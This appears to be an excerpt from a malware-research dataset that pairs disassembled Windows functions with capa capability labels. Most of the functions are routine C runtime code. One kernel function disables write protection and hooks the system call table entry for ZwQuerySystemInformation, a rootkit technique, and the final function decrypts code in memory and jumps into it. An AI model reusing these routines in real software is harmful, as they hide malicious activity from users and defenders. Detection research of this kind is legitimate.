joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b662
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x39c]
sub esp, 0x41c
mov ecx, dword [ebp + 0x3a4]
cmp ecx, dword [0x48ed24]
mov eax, dword [0x482090]
push ebx
push esi
mov dword [ebp + 0x398], eax
push edi
jae 0x40b828
mov eax, ecx
sar eax, 5
lea ebx, [eax*4 + 0x48ed40]
mov eax, dword [ebx]
mov esi, ecx
and esi, 0x1f
shl esi, 3
mov al, byte [eax + esi + 4]
test al, 1
mov dword [ebp - 0x80], ebx
je 0x40b828
xor edi, edi
cmp dword [ebp + 0x3ac], edi
mov dword [ebp - 0x74], edi
mov dword [ebp - 0x7c], edi
jne 0x40b6cc
xor eax, eax
jmp 0x40b83c
test al, 0x20
je 0x40b6dd
push 2
push edi
push edi
push ecx
call fcn.0040e622
add esp, 0x10
mov eax, dword [ebx]
add eax, esi
test byte [eax + 4], 0x80
je 0x40b7b2
cmp dword [ebp + 0x3ac], edi
mov eax, dword [ebp + 0x3a8]
mov dword [ebp - 0x70], eax
mov dword [ebp + 0x3a4], edi
jbe 0x40b7f9
mov ecx, dword [ebp - 0x70]
sub ecx, dword [ebp + 0x3a8]
lea eax, [ebp - 0x6c]
cmp ecx, dword [ebp + 0x3ac]
jae 0x40b73f
mov edx, dword [ebp - 0x70]
inc dword [ebp - 0x70]
mov dl, byte [edx]
inc ecx
cmp dl, 0xa
jne 0x40b730
inc dword [ebp - 0x7c]
mov byte [eax], 0xd
inc eax
inc edi
mov ebx, dword [ebp - 0x80]
mov byte [eax], dl
inc eax
inc edi
cmp edi, 0x400
jl 0x40b712
mov edi, eax
lea eax, [ebp - 0x6c]
sub edi, eax
push 0
lea eax, [ebp - 0x78]
push eax
push edi
lea eax, [ebp - 0x6c]
push eax
mov eax, dword [ebx]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40b77f
mov eax, dword [ebp - 0x78]
add dword [ebp - 0x74], eax
cmp eax, edi
jl 0x40b78b
mov eax, dword [ebp - 0x70]
sub eax, dword [ebp + 0x3a8]
xor edi, edi
cmp eax, dword [ebp + 0x3ac]
jb 0x40b706
jmp 0x40b78d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp + 0x3a4], eax
xor edi, edi
mov eax, dword [ebp - 0x74]
cmp eax, edi
jne 0x40b823
cmp dword [ebp + 0x3a4], edi
je 0x40b7f9
push 5
pop eax
cmp dword [ebp + 0x3a4], eax
jne 0x40b7eb
mov dword [0x48d5ac], eax
jmp 0x40b82f
push edi
lea ecx, [ebp - 0x78]
push ecx
push dword [ebp + 0x3ac]
push dword [ebp + 0x3a8]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40b7dd
mov eax, dword [ebp - 0x78]
mov dword [ebp + 0x3a4], edi
mov dword [ebp - 0x74], eax
jmp 0x40b78d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp + 0x3a4], eax
jmp 0x40b78d
push dword [ebp + 0x3a4]
call fcn.0040e5c3
pop ecx
jmp 0x40b839
mov eax, dword [ebx]
test byte [eax + esi + 4], 0x40
je 0x40b811
mov eax, dword [ebp + 0x3a8]
cmp byte [eax], 0x1a
je 0x40b6c5
mov dword [0x48d5a8], 0x1c
mov dword [0x48d5ac], edi
jmp 0x40b839
sub eax, dword [ebp - 0x7c]
jmp 0x40b83c
and dword [0x48d5ac], 0
mov dword [0x48d5a8], 9
or eax, 0xffffffff
mov ecx, dword [ebp + 0x398]
pop edi
pop esi
pop ebx
call fcn.00408f52
add ebp, 0x39c
leave
ret
Function at 0x40ba11
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
inc esi
cmp dword [0x48d5f4], esi
push edi
jne 0x40ba31
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [ebp + 0xc], 0
mov al, byte [ebp + 0x10]
mov dword [0x48d5f0], esi
mov byte [0x48d5ec], al
jne 0x40ba97
mov ecx, dword [0x48ee48]
test ecx, ecx
je 0x40ba78
mov eax, dword [0x48ee44]
sub eax, 4
cmp eax, ecx
jmp 0x40ba71
mov eax, dword [eax]
test eax, eax
je 0x40ba63
call eax
mov eax, dword [0x48ee44]
sub eax, 4
cmp eax, dword [0x48ee48]
mov dword [0x48ee44], eax
jae 0x40ba5b
mov eax, 0x482044
mov esi, 0x48204c
cmp eax, esi
mov edi, eax
jae 0x40ba97
mov eax, dword [edi]
test eax, eax
je 0x40ba90
call eax
add edi, 4
cmp edi, esi
jb 0x40ba88
mov eax, 0x482050
mov esi, 0x482058
cmp eax, esi
mov edi, eax
jae 0x40bab6
mov eax, dword [edi]
test eax, eax
je 0x40baaf
call eax
add edi, 4
cmp edi, esi
jb 0x40baa7
cmp dword [ebp + 0x10], 0
pop edi
pop esi
jne 0x40bad0
push dword [ebp + 8]
mov dword [0x48d5f4], 1
call fcn.0040b977
pop ebp
ret
Function at 0x40d8a2
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x40d8d0
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x40d8d7
cmp ebx, dword [eax + 4]
jae 0x40d8d7
xor eax, eax
jmp 0x40dac7
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x40d8e8
xor eax, eax
inc eax
jmp 0x40dac6
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x40d8fe
cmp ecx, edx
jae 0x40da43
cmp dword [eax + 4], 0
je 0x40d907
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x40d8ef
cmp dword [ebp + 8], 0
je 0x40d929
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x40da43
cmp eax, esi
jae 0x40da43
mov eax, dword [0x48d650]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x40d94e
cmp dword [esi*4 + 0x48d658], edi
je 0x40da47
inc esi
cmp esi, eax
jl 0x40d93c
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x40dac3
cmp dword [ebp - 8], 0x1000000
jne 0x40dac3
test byte [ebp - 0xc], 0xcc
je 0x40d9cc
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x40dac3
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x40dac3
cmp word [eax + 0x18], 0x10b
jne 0x40dac3
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x40dac3
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x40d9cc
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x40d9cc
test byte [ecx + 0x27], 0x80
jne 0x40da43
push 1
push 0x48d698
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test eax, eax
jne 0x40d8e0
mov ecx, dword [0x48d650]
test ecx, ecx
mov edx, ecx
jle 0x40da00
lea eax, [ecx*4 + 0x48d654]
cmp dword [eax], edi
je 0x40da00
dec edx
sub eax, 4
test edx, edx
jg 0x40d9f4
test edx, edx
jne 0x40da31
push 0xf
pop ebx
cmp ecx, ebx
jg 0x40da0d
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x40da25
lea eax, [edx*4 + 0x48d658]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x40da13
cmp ecx, 0x10
jge 0x40da31
inc ecx
mov dword [0x48d650], ecx
push 0
push 0x48d698
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
jmp 0x40d8e0
xor eax, eax
jmp 0x40dac6
test esi, esi
jle 0x40d8e0
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 1
push 0x48d698
call ebx
test eax, eax
jne 0x40d8e0
cmp dword [esi*4 + 0x48d658], edi
je 0x40da9d
mov eax, dword [0x48d650]
lea esi, [eax - 1]
test esi, esi
jl 0x40da8b
cmp dword [esi*4 + 0x48d658], edi
je 0x40da87
dec esi
jns 0x40da7b
test esi, esi
jge 0x40da9b
cmp eax, 0x10
jge 0x40da96
inc eax
mov dword [0x48d650], eax
lea esi, [eax - 1]
jmp 0x40da9d
je 0x40dab5
xor ecx, ecx
test esi, esi
jl 0x40dab5
lea eax, [ecx*4 + 0x48d658]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x40daa3
push 0
push 0x48d698
call ebx
jmp 0x40d8e0
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40dacb
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x482090]
mov ecx, dword [ebp + 0x94]
push ebx
push esi
mov dword [ebp + 0x88], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x482398]
je 0x40db00
inc eax
cmp eax, 0x13
jb 0x40daf1
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x482398]
jne 0x40dc26
mov eax, dword [0x48d58c]
cmp eax, 1
je 0x40dbfe
cmp eax, edx
jne 0x40db30
cmp dword [0x4820d4], 1
je 0x40dbfe
cmp ecx, 0xfc
je 0x40dc26
push 0x104
lea eax, [ebp - 0x80]
push eax
push edx
mov byte [ebp + 0x84], dl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40db66
lea eax, [ebp - 0x80]
push str._program_name_unknown_
push eax
call fcn.0040c6f0
pop ecx
pop ecx
lea edi, [ebp - 0x80]
mov eax, edi
push eax
call fcn.0040a400
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x40db9a
mov eax, edi
push eax
call fcn.0040a400
mov edi, eax
lea eax, [ebp - 0x80]
sub eax, 0x3b
push 3
add edi, eax
push 0x47efdc
push edi
call fcn.0040e410
add esp, 0x10
push edi
call fcn.0040a400
push dword [esi + 0x48239c]
mov ebx, eax
call fcn.0040a400
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.0040e2d0
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.0040c6f0
push edi
push ebx
call fcn.0040c700
push 0x47efd8
push ebx
call fcn.0040c700
push dword [esi + 0x48239c]
push ebx
call fcn.0040c700
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.0040e30d
add esp, 0x2c
jmp 0x40dc26
push edx
lea eax, [ebp + 0x94]
push eax
lea esi, [esi + 0x48239c]
push dword [esi]
call fcn.0040a400
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp + 0x88]
call fcn.00408f52
pop edi
pop esi
pop ebx
add ebp, 0x8c
leave
ret
Function at 0x40e30d
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x48d7b4], ebx
push esi
push edi
jne 0x40e38d
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x40e3c8
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
mov dword [0x48d7b4], eax
je 0x40e3c8
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x48d7b8], eax
call esi
cmp dword [0x48d5b4], 2
mov dword [0x48d7bc], eax
jne 0x40e38d
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x48d7c4], eax
je 0x40e38d
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x48d7c0], eax
mov eax, dword [0x48d7c0]
test eax, eax
je 0x40e3d2
call eax
test eax, eax
je 0x40e3b9
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x48d7c4]
test eax, eax
je 0x40e3b9
test byte [ebp - 8], 1
jne 0x40e3d2
cmp dword [0x48d5c0], 4
jb 0x40e3cc
or byte [ebp + 0x12], 0x20
jmp 0x40e3f1
xor eax, eax
jmp 0x40e401
or byte [ebp + 0x12], 4
jmp 0x40e3f1
mov eax, dword [0x48d7b8]
test eax, eax
je 0x40e3f1
call eax
mov ebx, eax
or ebx, ebx
je 0x40e3f1
mov eax, dword [0x48d7bc]
test eax, eax
je 0x40e3f1
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x48d7b4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40e6c1
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push ebx
mov ebx, dword [ebp + 8]
cmp ebx, dword [0x48ed24]
push edi
jae 0x40e896
mov eax, ebx
sar eax, 5
lea edi, [eax*4 + 0x48ed40]
mov eax, dword [edi]
and ebx, 0x1f
shl ebx, 3
add eax, ebx
mov dl, byte [eax + 4]
test dl, 1
je 0x40e896
and dword [ebp - 0xc], 0
cmp dword [ebp + 0x10], 0
mov esi, dword [ebp + 0xc]
mov ecx, esi
je 0x40e76c
test dl, 2
jne 0x40e76c
test dl, 0x48
je 0x40e736
cmp byte [eax + 5], 0xa
je 0x40e736
mov eax, dword [edi]
mov al, byte [eax + ebx + 5]
dec dword [ebp + 0x10]
mov byte [esi], al
mov eax, dword [edi]
lea ecx, [esi + 1]
mov dword [ebp - 0xc], 1
mov byte [eax + ebx + 5], 0xa
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0x10]
mov eax, dword [edi]
push ecx
push dword [eax + ebx]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40e77f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 5
pop ecx
cmp eax, ecx
jne 0x40e767
mov dword [0x48d5ac], ecx
jmp 0x40e89d
cmp eax, 0x6d
jne 0x40e773
xor eax, eax
jmp 0x40e8aa
push eax
call fcn.0040e5c3
pop ecx
jmp 0x40e8a7
mov eax, dword [ebp - 0x10]
mov ecx, dword [edi]
add dword [ebp - 0xc], eax
test byte [ecx + ebx + 4], 0x80
je 0x40e891
test eax, eax
je 0x40e7a6
cmp byte [esi], 0xa
jne 0x40e7a6
mov eax, ecx
lea eax, [eax + ebx + 4]
or byte [eax], 4
jmp 0x40e7af
mov eax, dword [edi]
lea eax, [eax + ebx + 4]
and byte [eax], 0xfb
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0xc]
add ecx, eax
cmp eax, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], ecx
jae 0x40e88b
mov eax, dword [ebp - 8]
mov al, byte [eax]
cmp al, 0x1a
je 0x40e87b
cmp al, 0xd
je 0x40e7e1
mov byte [esi], al
inc esi
inc dword [ebp - 8]
jmp 0x40e86d
dec ecx
cmp dword [ebp - 8], ecx
jae 0x40e7fb
mov eax, dword [ebp - 8]
inc eax
cmp byte [eax], 0xa
jne 0x40e7f6
add dword [ebp - 8], 2
jmp 0x40e84f
mov dword [ebp - 8], eax
jmp 0x40e869
inc dword [ebp - 8]
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
mov eax, dword [edi]
push dword [eax + ebx]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40e823
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x40e869
cmp dword [ebp - 0x10], 0
je 0x40e869
mov eax, dword [edi]
test byte [eax + ebx + 4], 0x48
je 0x40e844
mov al, byte [ebp - 1]
cmp al, 0xa
je 0x40e84f
mov byte [esi], 0xd
mov ecx, dword [edi]
mov byte [ecx + ebx + 5], al
jmp 0x40e86c
cmp esi, dword [ebp + 0xc]
jne 0x40e854
cmp byte [ebp - 1], 0xa
jne 0x40e854
mov byte [esi], 0xa
jmp 0x40e86c
push 1
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0040c184
add esp, 0xc
cmp byte [ebp - 1], 0xa
je 0x40e86d
mov byte [esi], 0xd
inc esi
mov ecx, dword [ebp - 0xc]
cmp dword [ebp - 8], ecx
jb 0x40e7c5
jmp 0x40e88b
mov eax, dword [edi]
test byte [eax + ebx + 4], 0x40
jne 0x40e88b
lea ebx, [eax + ebx + 4]
or byte [ebx], 2
sub esi, dword [ebp + 0xc]
mov dword [ebp - 0xc], esi
mov eax, dword [ebp - 0xc]
jmp 0x40e8aa
and dword [0x48d5ac], 0
mov dword [0x48d5a8], 9
or eax, 0xffffffff
pop edi
pop ebx
pop esi
leave
ret
Function at 0x40ed73
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.0040e2d0
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x40ee0e
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x48d5b4]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
sub esi, 0xffffffef
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x40ee0e
cmp eax, 1
je 0x40ee2f
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x40ee0e
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x40eddb
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x40ee0a
xor eax, eax
inc eax
jmp 0x40ee4e
cmp edi, eax
jae 0x40ee12
xor eax, eax
jmp 0x40ee4e
cmp eax, esi
jae 0x40ee19
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x48d5b4]
jmp 0x40ee32
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40eed4
Capabilities:
Get geographical location

Disassembly:
push 0x18
push 0x47fba0
call fcn.0040abf0
xor edi, edi
xor ebx, ebx
inc ebx
cmp dword [0x48d7d0], edi
jne 0x40ef18
push edi
push edi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
or eax, eax
je 0x40ef03
mov dword [0x48d7d0], ebx
jmp 0x40ef18
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x40ef18
mov dword [0x48d7d0], 2
mov eax, dword [0x48d7d0]
cmp eax, ebx
jne 0x40ef38
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
jmp 0x40effb
cmp eax, 2
je 0x40ef41
cmp eax, edi
jne 0x40ef69
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x24], edi
cmp dword [ebp + 0x18], edi
jne 0x40ef54
mov eax, dword [0x48d648]
mov dword [ebp + 0x18], eax
push edi
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
mov dword [ebp - 0x20], eax
cmp eax, edi
jne 0x40ef70
xor eax, eax
jmp 0x40effb
mov dword [ebp - 4], edi
add eax, 3
and eax, 0xfffffffc
call fcn.0040e2d0
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [ebp - 0x28], esi
or dword [ebp - 4], 0xffffffff
jmp 0x40efa3
cmp esi, edi
jne 0x40efb9
push dword [ebp - 0x20]
call fcn.0040c52d
pop ecx
mov esi, eax
cmp esi, edi
je 0x40ef69
mov dword [ebp - 0x24], ebx
push dword [ebp - 0x20]
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
je 0x40efec
cmp dword [ebp + 0x14], edi
jne 0x40efd6
push edi
push edi
jmp 0x40efdc
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0xffffffffffffffff
push esi
push ebx
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x24], edi
je 0x40eff8
push esi
call fcn.0040a3bb
pop ecx
mov eax, dword [ebp - 0x1c]
lea esp, [ebp - 0x34]
call fcn.0040ac2b
ret
Function at 0x40f004
Capabilities:
Get geographical location

Disassembly:
push 0x18
push 0x47fbb0
call fcn.0040abf0
xor esi, esi
cmp dword [0x48d7d4], esi
jne 0x40f048
push esi
push esi
xor edi, edi
inc edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x40f033
mov dword [0x48d7d4], edi
jmp 0x40f048
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x40f048
mov dword [0x48d7d4], 2
mov eax, dword [0x48d7d4]
cmp eax, 2
je 0x40f129
cmp eax, esi
je 0x40f129
cmp eax, 1
jne 0x40f08d
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], esi
cmp dword [ebp + 0x18], esi
jne 0x40f076
mov eax, dword [0x48d648]
mov dword [ebp + 0x18], eax
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov ebx, eax
mov dword [ebp - 0x24], ebx
cmp ebx, esi
jne 0x40f094
xor eax, eax
jmp 0x40f13b
mov dword [ebp - 4], esi
lea eax, [ebx + ebx]
add eax, 3
and eax, 0xfffffffc
call fcn.0040e2d0
mov dword [ebp - 0x18], esp
mov edi, esp
mov dword [ebp - 0x28], edi
or dword [ebp - 4], 0xffffffff
jmp 0x40f0ca
cmp edi, esi
jne 0x40f0e5
lea eax, [ebx + ebx]
push eax
call fcn.0040c52d
pop ecx
mov edi, eax
cmp edi, esi
je 0x40f08d
mov dword [ebp - 0x20], 1
push ebx
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x40f118
push esi
push esi
cmp dword [ebp + 0x14], esi
jne 0x40f102
push esi
push esi
jmp 0x40f108
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0xffffffffffffffff
push edi
push esi
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x20], esi
je 0x40f124
push edi
call fcn.0040a3bb
pop ecx
mov eax, dword [ebp - 0x1c]
jmp 0x40f13b
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea esp, [ebp - 0x34]
call fcn.0040ac2b
ret

Function at 0x4109bc
Capabilities:
Check os version

Disassembly:
push ebp
mov eax, dword [0x482090]
lea ebp, [esp - 0x78]
sub esp, 0x98
push esi
mov esi, ecx
mov dword [ebp + 0x74], eax
call fcn.0041097c
push 0x94
mov eax, 0x400000
mov dword [esi + 8], eax
mov dword [esi + 4], eax
push 0
lea eax, [ebp - 0x20]
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.004092a0
lea eax, [ebp - 0x20]
add esp, 0xc
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x410a0e
cmp dword [ebp - 0x1c], 5
jb 0x410a26
jmp 0x410a22
cmp dword [ebp - 0x10], 1
jne 0x410a26
cmp dword [ebp - 0x1c], 4
ja 0x410a22
jne 0x410a26
cmp dword [ebp - 0x18], 0
jbe 0x410a26
mov byte [esi + 0xc], 1
mov dword [esi + 0x10], 0x710
mov dword [esi + 0x14], 0x47fe14
lea ecx, [esi + 0x18]
call fcn.00408e90
test eax, eax
jge 0x410a47
mov byte [0x47fafa], 1
mov eax, esi
pop esi
mov ecx, dword [ebp + 0x74]
call fcn.00408f52
add ebp, 0x78
leave
ret
Function at 0x4130e0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.0040e2d0
mov eax, dword [0x482090]
push esi
mov esi, dword [ebp + 8]
push ebx
xor ebx, ebx
cmp esi, dword [0x48ed24]
mov dword [ebp - 4], eax
jae 0x413223
mov eax, esi
sar eax, 5
mov eax, dword [eax*4 + 0x48ed40]
mov ecx, esi
and ecx, 0x1f
test byte [eax + ecx*8 + 4], 1
je 0x413223
push 1
push ebx
push esi
call fcn.0040c184
add esp, 0xc
cmp eax, 0xffffffff
mov dword [ebp - 0x1008], eax
je 0x41322d
push 2
push ebx
push esi
call fcn.0040c184
add esp, 0xc
cmp eax, 0xffffffff
je 0x41322d
push edi
mov edi, dword [ebp + 0xc]
sub edi, eax
test edi, edi
jle 0x4131cd
push 0x1000
lea eax, [ebp - 0x1004]
push ebx
push eax
call fcn.004092a0
push 0x8000
push esi
call fcn.00413475
add esp, 0x14
mov dword [ebp + 8], eax
mov eax, 0x1000
cmp edi, eax
jge 0x41318c
mov eax, edi
push eax
lea eax, [ebp - 0x1004]
push eax
push esi
call fcn.0040b662
add esp, 0xc
cmp eax, 0xffffffff
je 0x4131aa
sub edi, eax
test edi, edi
jg 0x413181
jmp 0x4131c0
cmp dword [0x48d5ac], 5
jne 0x4131bd
mov dword [0x48d5a8], 0xd
or ebx, 0xffffffff
push dword [ebp + 8]
push esi
call fcn.00413475
pop ecx
pop ecx
jmp 0x41320d
jge 0x41320d
push 0
push dword [ebp + 0xc]
push esi
call fcn.0040c184
push esi
call fcn.0040ea3d
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov ebx, eax
neg ebx
sbb ebx, ebx
neg ebx
dec ebx
cmp ebx, 0xffffffff
jne 0x41320d
mov dword [0x48d5a8], 0xd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x48d5ac], eax
push 0
push dword [ebp - 0x1008]
push esi
call fcn.0040c184
add esp, 0xc
mov eax, ebx
pop edi
jmp 0x413230
mov dword [0x48d5a8], 9
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
pop ebx
pop esi
call fcn.00408f52
leave
ret

Function at 0x104ec
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0x104c0
call sub.ntoskrnl.exe_DbgPrint
add esp, 4
mov eax, dword [ebp + 8]
mov dword [eax + 0x34], 0x1046a
push eax
mov eax, cr0
and eax, 0xfffeffff
mov cr0, eax
pop eax
mov ecx, 0x1030a
mov edx, dword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
mov eax, dword [edx + 1]
mov edx, dword [sym.imp.ntoskrnl.exe_KeServiceDescriptorTable]
mov edx, dword [edx]
lea eax, [edx + eax*4]
xchg dword [eax], ecx
mov dword [section..data], ecx
push eax
mov eax, cr0
or eax, 0x10000
mov cr0, eax
pop eax
xor eax, eax
pop ebp
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx